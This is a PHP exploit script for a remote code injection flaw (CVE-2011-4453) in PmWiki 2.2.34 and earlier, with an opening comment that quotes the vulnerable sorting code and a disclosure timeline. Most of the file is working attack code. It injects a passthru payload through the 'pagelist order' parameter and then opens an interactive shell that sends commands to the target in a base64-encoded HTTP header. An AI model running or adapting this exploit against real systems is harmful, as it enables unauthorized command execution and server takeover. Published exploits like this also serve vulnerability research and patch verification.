PmWiki 2.2.34 – ‘pagelist’ Remote PHP Code Injection (1)
<?php /* ------------------------------------------------------------- PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit ------------------------------------------------------------- author...............: Egidio Romano aka EgiX mail.................: n0b0d13s[at]gmail[dot]com software link........: http://www.pmwiki.org/ affected versions....: from 2.0.0 to 2.2.34 +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] vulnerable code in PageListSort() function defined into /scripts/pagelist.php 452. $code = ''; 453. foreach($opt['=order'] as $o => $r) { 454. if (@$PageListSortCmp[$o]) 455. $code .= "\$c = {$PageListSortCmp[$o]}; "; 456. else 457. $code .= "\$c = @strcasecmp(\$PCache[\$x]['$o'],\$PCache[\$y]['$o']); "; 458. $code .= "if (\$c) return $r\$c;\n"; 459. } 460. StopWatch('PageListSort sort'); 461. if ($code) 462. uasort($list, 463. create_function('$x,$y', "global \$PCache; $code return 0;")); 464. StopWatch('PageListSort end'); Input passed through 'order' parameter of 'pagelist' directive isn't properly sanitized before being used in a call to create_function() at line 463. This can be exploited to inject and execute arbitrary PHP code. Successful exploitation of this vulnerability might require authentication if the wiki isn't public writable. [-] Disclosure timeline: [09/11/2011] - Vulnerability discovered [11/11/2011] - Issue reported to http://www.pmwiki.org/wiki/PITS/01271 [11/11/2011] - Version 2.2.35 released: http://www.pmwiki.org/wiki/PmWiki/ChangeLog#v2235 [12/11/2011] - CVE number requested [15/11/2011] - Assigned CVE-2011-4453 [23/11/2011] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n"); fputs($sock, $packet); return stream_get_contents($sock); } print "\n+------------------------------------------------------------+"; print "\n| PmWiki <= 2.2.34 Remote PHP Code Injection Exploit by EgiX |"; print "\n+------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /pmwiki/\n"; die(); } $host = $argv[1]; $path = $argv[2]; $phpcode = "']);error_reporting(0);passthru(base64_decode(\$_SERVER[HTTP_CMD]));print(___);die;#"; $payload = "action=edit&post=save&n=Cmd.Shell&text=(:pagelist order={$phpcode}:)"; $packet = "POST {$path}pmwiki.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Connection: close\r\n\r\n{$payload}"; if (!preg_match("/Location/", http_send($host, $packet))) die("\n[-] Edit password required?!\n"); $packet = "POST {$path}pmwiki.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Content-Length: 11\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Connection: close\r\n\r\nn=Cmd.Shell"; while(1) { print "\npmwiki-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match("/\n\r\n(.*)___/s", $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } ?> |